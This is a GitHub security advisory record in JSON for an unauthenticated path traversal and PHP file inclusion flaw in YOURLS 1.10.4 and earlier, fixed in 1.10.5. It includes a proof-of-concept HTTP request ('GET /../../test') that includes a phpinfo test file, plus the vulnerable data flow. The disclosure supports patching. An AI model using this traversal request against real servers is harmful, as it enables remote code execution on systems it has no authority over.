{"id":"GHSA-f8ff-652m-j5rx","summary":"YOURLS: Unauthenticated File Inclusion","details":"## Summary\n\nYOURLS versions ≤1.10.4 contain an unauthenticated path traversal vulnerability that allows attackers to include and execute arbitrary PHP files on the server without any credentials.\n\n## Details\n\nThe vulnerability exists because YOURLS uses **URL sanitization functions** (`yourls_sanitize_url()`, `yourls_esc_url()`) to filter request paths, but these functions are designed to clean URLs, not filesystem paths. They preserve `/` and `.` characters, allowing `../` sequences to pass through unfiltered.\n\nThe unsanitized keyword is then directly concatenated into a filesystem path and passed to `file_exists()` and later `include()` operations, enabling path traversal attacks.\n\n**Data Flow:**\n```\nHTTP Request URI (with ../)\n    ↓\nyourls_get_request() (no sanitization)\n    ↓\nyourls_sanitize_url() (preserves / and .)\n    ↓\nyourls_esc_url() (permits / and . via regex)\n    ↓\nKeyword extraction (preserves ../)\n    ↓\nfile_exists(YOURLS_PAGEDIR . \"/$keyword.php\")  ← Sink\n    ↓\ninclude(YOURLS_PAGEDIR . \"/$keyword.php\")      ← Code Execution\n```\n\n## Proof of Concept (POC)\n\nIn the concept validation, we assume that the attacker has uploaded a `test.php` file to the web root directory, but it cannot be accessed directly. (Of course, it could also be any path, such as `/tmp/test.php`)\n\n### Setup\nPlace a test file in web root:\n\n`./test.php`:\n```php\n\u003c?php\nphpinfo();\n?\u003e\n```\n\u003cimg width=\"502\" height=\"126\" alt=\"image\" src=\"https://github.com/user-attachments/assets/14f33f90-625b-4c65-8abf-244af2385f68\" /\u003e\n\n\n### Attack Request\n```http\nGET /../../test HTTP/1.1\nHost: target.com\nConnection: close\n```\n\n### Response (Apache Environment)\n\n\u003cimg width=\"1704\" height=\"614\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8750a3c0-a96c-4896-a087-d7b5cfeccd30\" /\u003e\n\n\n## Impact\n1. Remote execution of uploaded PHP files – An attacker uploads a malicious PHP file to an arbitrary location on the server (e.g., via another vulnerability or file upload feature), obtains its absolute path but cannot access it directly. The attacker then leverages this vulnerability to include and execute the PHP file, gaining code execution privileges.\n\n2. Indirect triggering of PHP code injection – If a PHP code injection point exists on the system (e.g., log injection, session injection) but the injected file cannot be accessed directly due to configuration restrictions, the attacker can use this vulnerability to include and execute the injected code, achieving remote command execution or further compromise.","aliases":["CVE-2026-62858"],"modified":"2026-10-15T20:30:06.075275041Z","published":"2026-10-15T20:13:02Z","database_specific":{"nvd_published_at":"2026-10-14T16:17:47Z","cwe_ids":["CWE-98"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-10-15T20:13:02Z"},"references":[{"type":"WEB","url":"https://github.com/YOURLS/YOURLS/security/advisories/GHSA-f8ff-652m-j5rx"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62858"},{"type":"WEB","url":"https://github.com/YOURLS/YOURLS/pull/4142"},{"type":"WEB","url":"https://github.com/YOURLS/YOURLS/commit/4e85972160a96e03a419a442d5bd8f21f2f02ddb"},{"type":"PACKAGE","url":"https://github.com/YOURLS/YOURLS"},{"type":"WEB","url":"https://github.com/YOURLS/YOURLS/releases/tag/1.10.5"}],"affected":[{"package":{"name":"yourls/yourls","ecosystem":"Packagist","purl":"pkg:composer/yourls/yourls"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.10.5"}]}],"versions":["1.10.0","1.10.1","1.10.2","1.10.3","1.10.4","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.9","1.8","1.8.1","1.8.2","1.9","1.9.1","1.9.2"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-f8ff-652m-j5rx/GHSA-f8ff-652m-j5rx.json","last_known_affected_version_range":"\u003c= 1.10.4"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"}]}